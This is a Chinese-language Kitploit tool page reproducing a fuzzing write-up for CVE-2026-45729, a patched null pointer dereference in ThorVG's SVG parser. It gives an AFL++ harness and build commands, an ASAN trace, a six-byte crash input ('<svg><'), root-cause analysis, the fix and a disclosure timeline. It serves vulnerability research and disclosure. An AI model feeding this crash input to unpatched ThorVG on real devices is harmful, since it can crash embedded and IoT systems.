Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-45729 — ThorVG 空指针解引用(通过畸形SVG)—— AFL++ 模糊测试分析报告 | Kitploit
工具/GitHubGitHub/yeahhbean/cve-2026-45729
嵌入式系统安全物联网安全漏洞分析漏洞利用模糊测试二进制分析
GitHubyeahhbean/cve-2026-45729

CVE-2026-45729

ThorVG 空指针解引用(通过畸形SVG)—— AFL++ 模糊测试分析报告

查看仓库
28天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-45729 — ThorVG 通过恶意 SVG 导致的空指针解引用

严重程度: CVSS 4.3(中等) — CWE-476
安全公告: GHSA-f863-8ghq-7h64
已修复版本: ThorVG v1.0.5
状态: 已修补 / 已公开披露


摘要

ThorVG 的 SVG 解析器在处理根 <svg> 节点内部截断的子元素标签时,解引用了一个从未初始化的指针。此漏洞可通过正常的渲染路径(tvg::Picture::load → 解析 → 渲染)触发,且只需 6 字节 的输入即可触发。

在标准 Linux 系统上,最坏情况是进程崩溃(DoS)—— mmap_min_addr 阻止了 NULL 页的映射,因此该故障在该环境下无法直接利用实现代码执行。在 ThorVG 也使用的无 MMU 目标平台(如 Tizen、基于 LVGL 的固件)上,可利用性情况不同,需要更仔细地审视。


目标选择理由

ThorVG 是一个用 C++17 编写的跨平台矢量图形引擎。它是 三星 Tizen OS 的默认 SVG/Lottie 渲染器,集成在 LVGL(广泛用于嵌入式/IoT 用户界面)中,并以独立库的形式在多个平台上分发。

该库处理不受信任的 SVG/JSON 输入,并且通常在没有权限隔离的环境中暴露。图形库中的解析器代码历来是内存安全漏洞的可靠来源——ThorVG 正在积极开发中,在本研究进行时,其公开的错误追踪器中没有记录的模糊测试覆盖。


模糊测试设置

测试束

测试束封装了 ThorVG 的内存加载 API,使得 AFL++ 可以直接驱动解析器,无需磁盘 I/O。

root@kitploit:~
// fuzz_thorvg.cpp
#include <cstdint>
#include <cstring>
#include <thorvg.h>

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
    if (size == 0) return 0;

    tvg::Initializer::init(tvg::CanvasEngine::Sw, 0);

    auto canvas = tvg::SwCanvas::gen();
    uint32_t buf[64 * 64] = {};
    canvas->target(buf, 64, 64, 64, tvg::SwCanvas::ARGB8888);

    auto picture = tvg::Picture::gen();
    // Load SVG from raw bytes; mimeType hint "svg" triggers the SVG parser path
    if (picture->load(reinterpret_cast<const char*>(data), size, "svg", false)
            == tvg::Result::Success) {
        canvas->push(tvg::cast(picture));
        canvas->draw();
        canvas->sync();
    }

    tvg::Initializer::term(tvg::CanvasEngine::Sw);
    return 0;
}

使用 ASAN + 覆盖率工具构建:

root@kitploit:~
clang++ -std=c++17 -fsanitize=address,undefined -fprofile-instr-generate \
    -fcoverage-mapping -O1 -g \
    fuzz_thorvg.cpp -o fuzz_thorvg \
    $(pkg-config --cflags --libs thorvg)

种子语料库

从随机字节开始对于格式敏感的解析器来说效果很差。我使用一组结构上有效的最小 SVG 文件作为种子语料库,涵盖:

  • 空白 SVG(<svg xmlns="..."/>)
  • 带有基本形状的 SVG(<rect>、<circle>、<path>)
  • 带有嵌套 <g> 分组的 SVG
  • 带有 <use> xlink 引用的 SVG
  • 一个小的 Lottie/JSON 动画(ThorVG 也处理此格式)

结构感知的种子将首次发现感兴趣路径的时间从数小时缩短到在我环境中不到 20 分钟。

AFL++ 标志

root@kitploit:~
AFL_AUTORESUME=1 afl-fuzz \
    -i corpus/ \
    -o findings/ \
    -x svg.dict \
    -m none \
    -- ./fuzz_thorvg @@

-x svg.dict — AFL++ 令牌字典,包含 SVG 关键字,有助于向有效标签名称方向变异。
-m none — ASAN 影子内存需要禁用 AFL++ 的内存限制。


崩溃发现

AFL++ 在约 3 小时 的单核模糊测试后产生了崩溃。初始崩溃输入约为 180 字节。ASAN 输出:

root@kitploit:~
==pid==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x... ...)
SEGV on address NULL
#0 in tvg::SvgParser::_parseStyle(...)
#1 in tvg::SvgParser::_createElement(...)
#2 in tvg::SvgParser::parse(...)
#3 in tvg::SvgLoader::read()
...

故障源于通过 _parseStyle 中未初始化(NULL)的 SvgNode* 指针进行读取。该指针本应在 _createElement 处理子元素时设置,但截断的标签名称导致元素被跳过,指针未被赋值,而 _parseStyle 仍继续解引用它。


最小化

首先使用 afl-tmin 进行最小化,然后手动裁剪:

root@kitploit:~
afl-tmin -i findings/crashes/id:000000 -o min -- ./fuzz_thorvg @@

经过 afl-tmin 后,输入为 14 字节。手动检查解析路径后发现,在触发故障之前只消耗了前 6 个字节:

root@kitploit:~
<svg><

<svg> 打开根节点。< 开始一个子元素标签。解析器读取标签名,得到空字符串(输入在 < 后立即结束),跳过元素创建,然后落入 _parseStyle,此时节点指针仍为 NULL。

确认 6 字节触发器可复现:

root@kitploit:~
printf '<svg><' | ./fuzz_thorvg /dev/stdin
# 或者
echo -n '<svg><' > poc.svg && ./fuzz_thorvg poc.svg

根因

root@kitploit:~
src/loaders/svg/tvgSvgParser.cpp

易受攻击路径的简化伪代码:

root@kitploit:~
// 当标签名为空时,_createElement 返回 nullptr
SvgNode* node = _createElement(tagName);   // tagName == "" → 返回 nullptr

// 未进行 NULL 检查就传递给样式解析器
_parseStyle(node, attributes);             // ← 在偏移量 0x18 处解引用 node->style

v1.0.5 中的修复在元素分发循环中添加了一个提前返回,当 _createElement 返回 nullptr 时,跳过任何属性/样式处理。


可利用性分析

标准 Linux(CVSS 4.3 / 中等)

在现代发行版中,/proc/sys/vm/mmap_min_addr 通常设置为 65536。NULL 页未映射,因此 CPU 引发 SIGSEGV,内核将其转换为进程信号——结果是 崩溃(DoS)。无受控写入,无 PC 控制,无法直接用于代码执行。

嵌入式 / 无 MMU 目标平台

ThorVG 是 Tizen(三星 IoT/可穿戴操作系统)中的一等公民,并集成到 LVGL 中,后者运行在微控制器和无 MMU 的系统上。

在无 MMU 系统上,没有内存保护,mmap_min_addr 不适用。如果 NULL 页已映射(在裸机嵌入式环境中很常见),则空指针解引用可能指向受攻击者控制的内存。在真实攻击中是否可触及取决于攻击面——Tizen 设备上的 ThorVG 可能解析来自不受信任的网络源或用户提供内容的 SVG。

即使这是一个 CVSS 中等严重性的发现,这也说明了负责任披露的合理性。


披露时间线


补丁差异(摘要)

补丁在 SVG 元素分发循环中添加了 NULL 保护:

root@kitploit:~
// 之前(易受攻击)
SvgNode* node = _createElement(tag);
_parseStyle(node, attrs);   // 无条件

// 之后(v1.0.5)
SvgNode* node = _createElement(tag);
if (!node) continue;        // 如果元素未创建则跳过
_parseStyle(node, attrs);

完整差异:ThorVG v1.0.5 发布


复现(安全,仅本地)

root@kitploit:~
# 从源码构建,使用 ASAN
git clone https://github.com/thorvg/thorvg && cd thorvg
git checkout <v1.0.5 之前的易受攻击标签>
meson setup build -Db_sanitize=address && ninja -C build

# 针对构建的库编译测试束
clang++ -std=c++17 -fsanitize=address -O1 -g \
    fuzz_thorvg.cpp -o fuzz_thorvg \
    -Ibuild/src/include -Lbuild/src -lthorvg

# 触发
printf '<svg><' | ./fuzz_thorvg /dev/stdin

预期输出:ASAN 报告,包含在 tvg::SvgParser::_parseStyle 中的 SEGV on unknown address 0x000000000000。


参考资料

  • GHSA-f863-8ghq-7h64
  • ThorVG 项目
  • CWE-476:空指针解引用
  • AFL++ 文档

由 yeahhbean (이예빈) 通过 AFL++ 覆盖率引导模糊测试,结合结构化 SVG 种子语料库发现。

下载工具
日期事件
2026-xx-xx通过 AFL++ 发现崩溃
2026-xx-xx在 ASAN 下确认根因;生成 6 字节 PoC
2026-xx-xx通过 GitHub 安全公告向 ThorVG 维护者 (hermet) 发送私有报告
2026-xx-xx维护者确认并打开私有分支
2026-xx-xx修补程序合并到 v1.0.5
2026-xx-xxGHSA-f863-8ghq-7h64 发布;分配 CVE-2026-45729